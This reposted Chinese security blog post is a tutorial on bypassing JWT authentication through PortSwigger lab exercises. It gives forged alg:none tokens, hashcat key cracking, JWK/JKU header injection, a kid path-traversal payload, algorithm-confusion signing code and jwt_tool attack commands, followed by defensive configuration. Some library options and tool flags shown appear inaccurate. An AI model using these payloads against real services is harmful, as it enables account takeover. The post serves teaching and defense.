文章总结: 本文全面解析JWT身份验证绕过技术,涵盖8类核心漏洞如签名忽略、弱密钥爆破、JWK/JKU注入、KID路径遍历及算法混淆。结合PortSwigger靶场演示利用步骤,推荐jwt_tool等检测工具。核心防御建议包括实施算法白名单、严格验证签名、隔离密钥及禁用危险Header。强调服务器必须验证所有输入,不可盲目信任客户端提供的JWT参数,以保障认证安全。 综合评分: 95 文章分类: WEB安全,漏洞分析,渗透测试,漏洞POC
JWT 身份验证绕过完全指南:从原理到靶场实操
原创
X X
XiAnG学安全
2026年2月3日 17:44 中国香港
🔐 JWT 身份验证绕过完全指南:从原理到靶场实操
📋 目录
- JWT 基础速成
- 漏洞全景图
- 靶场实操详解
- 漏洞对比总结
- 防御最佳实践
- 检测工具推荐
一、JWT 基础速成
1.1 什么是 JWT?
JWT(JSON Web Token)是目前最流行的跨域认证解决方案,由三部分组成:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← Header(头部)
.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ ← Payload(载荷)
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature(签名)
Header 包含算法和类型:
{
"alg": "HS256", // 签名算法
"typ": "JWT" // 令牌类型
}
Payload 包含声明(Claims):
{
"sub": "1234567890", // 主题(用户ID)
"name": "John Doe", // 姓名
"iat": 1516239022, // 签发时间
"admin": false // 权限
}
Signature 保证完整性:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
1.2 为什么 JWT 容易出问题?
JWT 的设计是自包含的——服务器只需验证签名,无需查询数据库。这种”无状态”特性带来了便利,也引入了风险:
| 设计特点 | 潜在风险 |
| — | — |
| 算法可自定义(alg 头) | 算法混淆攻击 |
| 可嵌入公钥(jwk/jku) | 密钥注入攻击 |
| 密钥 ID 可指定(kid) | 路径遍历/SQL 注入 |
| 对称/非对称算法共存 | 密钥混淆攻击 |
二、漏洞全景图
PortSwigger 的 8 个 JWT 实验覆盖了主流攻击向量:
┌─────────────────────────────────────────────────────────────┐
│ JWT 攻击面全景图 │
├─────────────────────────────────────────────────────────────┤
│ 服务端漏洞 │ 客户端可控参数 │ 攻击复杂度 │
├─────────────────────────────────────────────────────────────┤
│ 不验证签名 │ - │ ★☆☆☆☆ │
│ 接受 alg:none │ alg 头 │ ★☆☆☆☆ │
│ 弱密钥 │ - │ ★★☆☆☆ │
│ JWK 注入 │ jwk 头 │ ★★☆☆☆ │
│ JKU 注入 │ jku 头 │ ★★★☆☆ │
│ KID 路径遍历 │ kid 头 │ ★★★☆☆ │
│ 算法混淆(有公钥) │ alg 头 │ ★★★★☆ │
│ 算法混淆(无公钥) │ alg 头 │ ★★★★★ │
└─────────────────────────────────────────────────────────────┘
三、靶场实操详解
靶场:PortSwigger Web Security Academy
实验 1:JWT authentication bypass via unverified signature
(空签名绕过)
漏洞原理:服务器根本不验证签名,直接信任客户端提供的 payload。
攻击步骤:
- 登录获取 JWT,解码得到 payload
- 修改
sub为administrator - 重新编码,不加签名(或保留原签名)
- 发送请求,成功进入管理员面板
关键操作:
# 使用 jwt_tool 直接修改 payload
python jwt_tool.py <token> -T -pc sub -pv "administrator" -np
# -np = no payload validation(不验证签名)
防御方案:必须使用 jwt.verify() 而非 jwt.decode()。
实验 2:JWT authentication bypass via flawed signature verification
(接受 alg: none)
漏洞原理:服务器有验证逻辑,但允许 alg: none 算法,此时跳过验证。
攻击步骤:
- 修改 Header:
"alg": "none" - 修改 Payload:
"sub": "administrator" - 删除 Signature 部分(保留最后的点)
- 发送:
header.payload.
Payload 示例:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNTE2MjM5MDIyfQ.
防御方案:明确拒绝 none 算法,使用算法白名单。
实验 3:JWT authentication bypass via weak signing key
(弱密钥爆破)
漏洞原理:HS256 使用对称密钥,若密钥为弱密码(如 secret1),可被离线爆破。
攻击步骤:
- 收集 JWT
- 使用 hashcat 爆破:
hashcat -a 0 -m 16500 <token> jwt.secrets.list
- 得到密钥
secret1 - 使用密钥重新签名伪造 Token
常用字典:
- jwt.secrets.list
- SecLists 密码字典
防御方案:使用 ≥256 位随机密钥(openssl rand -base64 32)。
实验 4:JWT authentication bypass via jwk header injection
(JWK 公钥注入)
漏洞原理:服务器信任 JWT Header 中嵌入的 jwk 参数,使用其中的公钥验证签名。
攻击步骤:
- 生成 RSA 密钥对(Burp JWT Editor)
- 将公钥嵌入 Header:
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"n": "攻击者公钥...",
"kid": "attacker-key"
}
}
- 使用私钥签名
- 服务器用嵌入的公钥验证 → 通过
防御方案:禁用 jwk 头,只使用预配置公钥。
实验 5:JWT authentication bypass via jku header injection
(JKU 远程公钥加载)
漏洞原理:服务器从 jku(JWK Set URL)指定的远程地址加载公钥。
攻击步骤:
- 生成 RSA 密钥对
- 在 Exploit Server 托管 JWKS:
{
"keys": [{
"kty": "RSA",
"kid": "attacker-key",
"n": "攻击者公钥...",
"e": "AQAB"
}]
}
- 修改 JWT Header:
{
"alg": "RS256",
"jku": "https://exploit-server.com/exploit",
"kid": "attacker-key"
}
- 使用私钥签名,发送请求
防御方案:禁用 jku 或严格限制 URL 白名单。
实验 6:JWT authentication bypass via kid header path traversal
(KID 路径遍历)
漏洞原理:服务器使用 kid 参数作为文件路径查找密钥,存在路径遍历漏洞。
攻击步骤:
- 修改
kid为路径遍历载荷:
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
- 使用空密钥(
/dev/null内容为空)签名 - 服务器读取空文件作为密钥,验证通过
其他可利用文件:
/dev/zero(空字节)/proc/sys/kernel/randomize_va_space(内容为2)
防御方案:严格验证 kid 格式(仅允许 UUID),禁用文件系统读取。
实验 7:JWT authentication bypass via algorithm confusion
(算法混淆 – 有公钥)
漏洞原理:服务器允许从 RS256(非对称)切换到 HS256(对称),并使用公钥作为 HMAC 密钥。
攻击步骤:
- 从
/.well-known/jwks.json获取公钥 - 修改 Header:
"alg": "HS256" - 修改 Payload:
"sub": "administrator" - 使用公钥 PEM 内容作为 HMAC 密钥签名
- 服务器用公钥验证 HMAC → 通过
关键代码:
# 使用公钥作为 HMAC 密钥
token = jwt.encode(
payload,
public_key_pem, # 公钥内容作为密钥!
algorithm="HS256",
headers={"alg": "HS256"}
)
防御方案:算法白名单 + 密钥类型检查。
实验 8:JWT authentication bypass via algorithm confusion with no exposed key
(算法混淆 – 无公钥)
漏洞原理:服务器未公开公钥,但可通过数学方法从两个 JWT 派生。
攻击步骤:
- 收集两个使用相同密钥签名的 JWT(重新登录获取)
- 使用
sig2n工具派生公钥:
docker run --rm -it portswigger/sig2n <token1> <token2>
- 测试候选公钥(通常 2-3 个)
- 找到正确公钥后,执行标准算法混淆攻击
数学原理:
- 利用 RSA 签名
s = m^d mod n - 两个签名提供足够方程求解
n - 使用 GCD 算法推导模数
防御方案:密钥隔离 + 算法白名单 + 定期轮换密钥。
四、漏洞对比总结
4.1 攻击向量对比表
| 实验 | 核心漏洞 | 利用条件 | 关键参数 | 攻击复杂度 | 检测难度 |
| — | — | — | — | — | — |
| 不验证签名 | 完全跳过验证 | 服务器不检查签名 | – | ⭐ | 容易 |
| alg: none | 接受无签名 | 服务器配置错误 | alg | ⭐ | 容易 |
| 弱密钥 | 密钥可爆破 | HS256 + 弱密码 | – | ⭐⭐ | 中等 |
| JWK 注入 | 信任嵌入公钥 | 服务器读取 jwk | jwk | ⭐⭐ | 容易 |
| JKU 注入 | 信任远程公钥 | 服务器请求 jku | jku | ⭐⭐⭐ | 困难 |
| KID 遍历 | 路径遍历 | 服务器文件读取 | kid | ⭐⭐⭐ | 中等 |
| 算法混淆(有公钥) | 算法切换 + 密钥复用 | 公钥公开 | alg | ⭐⭐⭐⭐ | 困难 |
| 算法混淆(无公钥) | 算法切换 + 密钥派生 | 可获取两个 JWT | alg | ⭐⭐⭐⭐⭐ | 很困难 |
4.2 漏洞利用流程图
┌─────────────────────────────────────────────────────────────┐
│ JWT 攻击决策树 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 获取 JWT │
│ │ │
│ ▼ │
│ 2. 检查 alg 参数 │
│ ├── "none" ──→ 实验 2(alg:none) │
│ ├── "HS256" ──→ 实验 3(弱密钥爆破) │
│ └── "RS256" ──→ 继续检查 │
│ │ │
│ ▼ │
│ 3. 检查是否有公钥 │
│ ├── 有(jwks.json)→ 实验 7(算法混淆) │
│ └── 无 ──→ 实验 8(派生公钥) │
│ │
│ 4. 检查 Header 其他参数 │
│ ├── 存在 jwk ──→ 实验 4(JWK 注入) │
│ ├── 存在 jku ──→ 实验 5(JKU 注入) │
│ └── 存在 kid ──→ 实验 6(KID 遍历) │
│ │
│ 5. 尝试修改 payload 不修改签名 │
│ └── 成功?──→ 实验 1(不验证签名) │
│ │
└─────────────────────────────────────────────────────────────┘
五、防御最佳实践
5.1 核心防御原则
🔒 原则 1:严格算法白名单
// ❌ 危险:接受任何算法
jwt.verify(token, secret);
// ✅ 安全:明确指定允许算法
jwt.verify(token, secret, { algorithms: ['HS256'] });
🔒 原则 2:密钥完全隔离
# 安全:不同算法使用不同密钥
HMAC_SECRET = os.environ['HMAC_SECRET'] # 仅用于 HS256
RSA_PUBLIC_KEY = load_rsa_public_key() # 仅用于 RS256
EC_PUBLIC_KEY = load_ec_public_key() # 仅用于 ES256
def verify(token):
header = jwt.get_unverified_header(token)
if header['alg'] == 'HS256':
return jwt.decode(token, HMAC_SECRET, algorithms=['HS256'])
elif header['alg'] == 'RS256':
return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=['RS256'])
else:
raise ValueError("Unsupported algorithm")
🔒 原则 3:禁用危险 Header
# 安全配置选项
jwt.decode(
token,
key,
algorithms=['HS256'],
options={
"verify_signature": True,
"require": ["exp", "sub"],
# 禁用 jwk/jku 处理
"verify_jwk": False,
"verify_jku": False
}
)
5.2 防御检查清单
| 检查项 | 要求 | 优先级 | | — | — | — | | 算法白名单 | 仅允许预定义算法 | 🔴 高 | | 拒绝 alg:none | 明确禁用 none 算法 | 🔴 高 | | 密钥强度 | HS256 密钥 ≥ 256 位 | 🔴 高 | | 禁用 jwk/jku | 不处理嵌入/远程公钥 | 🟡 中 | | 输入验证 | 验证 kid 格式 | 🟡 中 | | 密钥隔离 | 对称/非对称密钥分离 | 🟡 中 | | 日志监控 | 记录异常 JWT 验证 | 🟢 低 |
5.3 各语言安全库配置
Node.js (jsonwebtoken)
const jwt = require('jsonwebtoken');
// 签名
const token = jwt.sign({ sub: user.id }, SECRET, {
algorithm: 'HS256', // 明确指定
expiresIn: '1h',
issuer: 'my-app'
});
// 验证
const decoded = jwt.verify(token, SECRET, {
algorithms: ['HS256'], // 白名单
issuer: 'my-app',
complete: false
});
Python (PyJWT)
import jwt
from cryptography.hazmat.primitives import serialization
# 验证
decoded = jwt.decode(
token,
key=secret_key,
algorithms=['HS256'], # 严格白名单
options={
"verify_signature": True,
"verify_exp": True,
"verify_iat": True,
"require": ["exp", "sub"]
},
issuer="my-app"
)
Java (JJWT)
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.security.Keys;
// 安全密钥
SecretKey key = Keys.secretKeyFor(SignatureAlgorithm.HS256);
// 签名
String jws = Jwts.builder()
.setSubject("user")
.signWith(key) // 自动使用 HS256
.compact();
// 验证
Jwts.parserBuilder()
.setSigningKey(key)
.build()
.parseClaimsJws(jws);
六、检测工具推荐
6.1 综合测试工具
| 工具 | 用途 | 推荐场景 | | — | — | — | | jwt_tool | 全自动 JWT 测试 | 渗透测试首选 | | Burp JWT Editor | 手动修改/签名 | Burp 用户必备 | | hashcat | 弱密钥爆破 | 离线破解 | | sig2n | RSA 公钥派生 | 算法混淆高级攻击 |
6.2 jwt_tool 常用命令
# 全面扫描
python jwt_tool.py <token> -t <url> -M at
# 特定攻击
python jwt_tool.py <token> -X a # alg:none 攻击
python jwt_tool.py <token> -X k # 算法混淆
python jwt_tool.py <token> -X i # JWK 注入
python jwt_tool.py <token> -C -d dict.txt # 弱密钥爆破
# 派生公钥(算法混淆无公钥场景)
python jwt_tool.py <token1> <token2> -X k
6.3 在线工具
- jwt.io: JWT 解码调试(注意:不要在生产环境使用)
- CyberChef: 编码/解码转换
七、总结
JWT 安全的核心在于:永远不要信任客户端输入。
从最简单的”不验证签名”到复杂的”算法混淆 + 公钥派生”,所有漏洞都源于服务器过度信任 JWT Header 中的参数(alg, jwk, jku, kid)。
三条铁律:
- 验证一切:签名必须验证,算法必须白名单
- 隔离密钥:对称/非对称密钥绝不混用
- 禁用危险特性:
none算法、jwk/jku头默认关闭
只有将 JWT 视为不可信的外部输入,而非可信的内部凭证,才能真正保障身份验证安全。
📌 声明:本文仅供安全研究和学习交流,请勿用于非法用途。
🔗 延伸阅读
- > PortSwigger Web Security Academy – JWT >
https://portswigger.net/web-security/jwt
- > RFC 7519 – JSON Web Token (JWT) >
tools.ietf.org/html/rfc7519
- > JWT Handbook >
https://auth0.com/resources/ebooks/jwt-handbook
如果本文对你有帮助,欢迎点赞、收藏、转发! 🎉
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:XiAnG学安全 X X《JWT 身份验证绕过完全指南:从原理到靶场实操》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论